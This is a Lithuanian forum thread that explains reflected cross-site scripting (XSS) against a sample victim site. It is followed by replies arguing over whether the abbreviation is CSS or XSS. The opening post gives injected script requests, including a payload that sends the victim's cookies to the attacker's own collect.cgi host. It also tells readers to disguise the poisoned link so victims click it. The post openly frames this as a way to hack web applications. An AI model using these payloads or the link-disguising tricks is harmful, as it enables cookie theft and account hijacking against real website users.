Straipsniai.lt

Na paskutiniu laiku tik svaisciau laika, bandydams ismust GNU garbijimo religija
is sviesiu galvu, bet prisiminiau istorija kad religiniai konfliktai geruoju niekad nesibaigia. Tai ir ivyko buvo sukurta "hacking 2" skiltis kurioje as nedalyvausiu ir visi tures proga ten sau ramiai garbinti ir slovinti linux, ir netiosiogai tyciotis is vin wartotuju.

Be to tai nusprendziau nuveik geriau kaska prasmingo forume. Brains buvo nepatenkintas, kad ka rasau tai yra suprantama visiem ne tik jam. Tai panagrinejes braino ziniu lygi nusprendziau si kart parasyt kaska sudetingesnio.

Pradedam:
CSS, XSS - reiskia viena ir tapati. cross site scripting.
Tai vienas megiamiausiu metodu kai norima ka nors pagaidint webaplikaciju lygije. Tarkim mes lauziam www.auka.lt
kaip taisykle svetaine turi turet pazeidziama skripta. tarkim musu auka turi welcome.cgi ir parametras "skyle" gali buti atidarytas taip:

GET /welcome.cgi?skyle=GOD%20hack HTTP 1.0
Host: www.auka.lt

Ir atsakymas bus:

<HTML>
<title>welcome</title>
SWX GODhack
<BR>
....
...
</HTML>

Dabar mum reik linko linkas atrodys taip:
http://www.auka.lt/welcome.cgi?skyle=<s ... e)</script>

Musu lama kai nuspaus linka suformuos tokia uzklausa:

GET /welcome.cgi?skyle=<script>alert(document.cookie)</script>HTTP/1.0
Host: www.auka.lt

Ir atsakas bus:
<HTML>
<title>welcome</title>
SWX <script>alert(document.cookie)</script>
<BR>
....
...
</HTML>

Aukos narsykle tai ivertins kaip html'a su java skriptu. Tas kodas paleistas lais prieiti prie visu kookiu is www.auka.lt ir negana to atidarys langa parodanti kokius kukius turi musu lama tam saite. Zinoma tikraataka isius kookius mum:) Tam tik reik parasyt skripta-linka:
http://www.auka.lt/welcome.cgi?skyle=<s ... e)</script>

Ir reponsas tada yra toks:
<HTML>
<title>welcome</title><script>window.open("http://www.mususaitukas.lt/collect.cgi? ... ent.cookie)</script>
SWX
<BR>
....
...
</HTML>

Narsykle vos tik uzkrasus puslapi persius visus kookius mum. Smagu.
Beda visgi yra auka turi spaust linka kuris atrodo kiek neiprastai ir kiek ilgokas. Na bet jei turit fantazijos ir kosytes galvoj tai padaryt nera taip jau sunku. Tereik tik paslet nuodinga linka po BBK ar HTML skiptais, kad nekeltu itarimo. Daug kas nors panikiskai bijo priimt falus is visur, bet visgi spando kas papula.

Ataka galima igivendint ne tik per GET per ir per POST uzklausimus ir yra kitu metodu cia tik parasiau gera pradzia. Meistriskai ivaldzius tokias atakas daug webaplikaciju lengvai pasiduos jusu valiai.

Shaunus textukas

Dabar pats kaip tik domiuosi XSS.

Ar galetu kas nors nufilmuoti kaip XSS yra atliekama One.lt arba kokiam yahoo.com, nu chia nesvarbu tik taip kad vaizdzhiai viskas matytusi.
Nes katik meginau pagal texta kazhka daryti tai nei velnio nesygavo

na as noreciau papriestaraut godhack, kad CSS ir XSS yra tas pats. CSS - tai Cascading Style Sheets, HTML kodo pagyvinimo priemone, o XSS - cross site scripting. abieju savoku zodziu pirmososios raides vienodos, tad del to cross site scripting ir buvo pavadinta XSS, kad nepainiot su CSS. tai tiek

o DarkForce zinok, tam kad viskas veiktu pagal teksta, tai saite turi buti klaidu, kurios veiktu pagal aprasyta metoda

jei to neismanai ir darai tik pagal texta, tai manau ir sunkiai kas gausis...

Viusiskai nesutinku su priestaravimu, del akivaizdzios priezasties:
cross site scripting == CSS

Sutinku kad CSS dar gali reisti ir
Copustu Sudimo Skardine
ar dar ka nors tokio, bet tam juk reik ziuret i konteksta skaitant.

Cross Site Scripting ir Cascading Style Sheet yra abu susiję su web developmentu, todėl siekiant efektyvesnio tarpusavio bendravimo buvo sukurtas terminas XSS (čia iksas vietoje žodžio cross). Aišku galima sakyti ir CSS, bet kai kuriais atvejais gali likti nesuprastas.

As kaskaip labai daug kur matau CSS ir net galbut reciau XSS.

Tai gali būti, kad matai kalbą apie dizainą, o apie dizainą - Cascading Style Sheets.

Ne matau ir skaitau apie skriptinima, o apie dizaina net nesidomiu ir net nlb tiksliai zinau kas tas kitas daiktas yra.

na man tai tikrai neteko matyt parasyta css kai butu kalbama apie cross site scripting. visur kiek maciau tai xss. na seip gal anksciau kai cross site scripting terminas atsirado, tai ji ir vadino css... beje paziurejau angliskoj wikipedijoj.
prie cross site scripting pateikiamas trumpinys xss, beje minint kad anksciau jis buvo vadinmas ir css. taciau paieskojes apie css, radau kurkas daugiau

Calderbank-Shor-Steane Cascading Style Sheets Closed source software Content-scrambling system Core System Software Cross-site scripting Curvature Scale Space

gera kruvele. tad manau tikrai butu tikslinga cross site scripting sutrumpintai vadint tik xss

juolabiau kad jau ir pritapo

Straipsniai.lt

XSS paaiskinta

XSS paaiskinta